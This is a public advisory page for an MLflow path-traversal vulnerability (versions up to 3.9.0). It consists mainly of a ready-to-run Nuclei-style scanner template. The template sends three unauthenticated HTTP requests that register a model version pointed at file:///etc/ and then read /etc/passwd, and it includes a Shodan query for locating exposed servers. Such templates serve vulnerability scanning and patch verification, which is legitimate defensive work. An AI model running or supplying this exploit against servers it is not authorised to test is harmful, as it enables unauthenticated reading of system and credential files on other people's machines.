CVE-2026-2614: MLflow <= 3.9.0 - Arbitrary File Read

2026-08-16 MLflow PoC Public

Description

mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.

PoC

id: CVE-2026-2614

info:
  name: MLflow <= 3.9.0 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
  remediation: |
    Upgrade to version 3.10.0 or later.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories
    - https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a
    - https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2614
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2614
    epss-score: 0.03608
    epss-percentile: 0.88883
    cwe-id: CWE-22
  metadata:
    max-request: 3
    verified: true
    vendor: mlflow
    product: mlflow
    shodan-query: title:"MLflow"
  tags: cve,cve2026,mlflow,lfi,traversal,vkev

variables:
  model: "{{to_lower(rand_base(10))}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}"}

      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"file:///etc/","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

      - |
        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cfb60168773a40e7fe4ee6e92fc9943331439c91a54311853b20c8626c97160e022100b1ce4f57e1bbd93d7ca88c78553e973822ff52b77057b4c81d482fc4c97b28bf:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities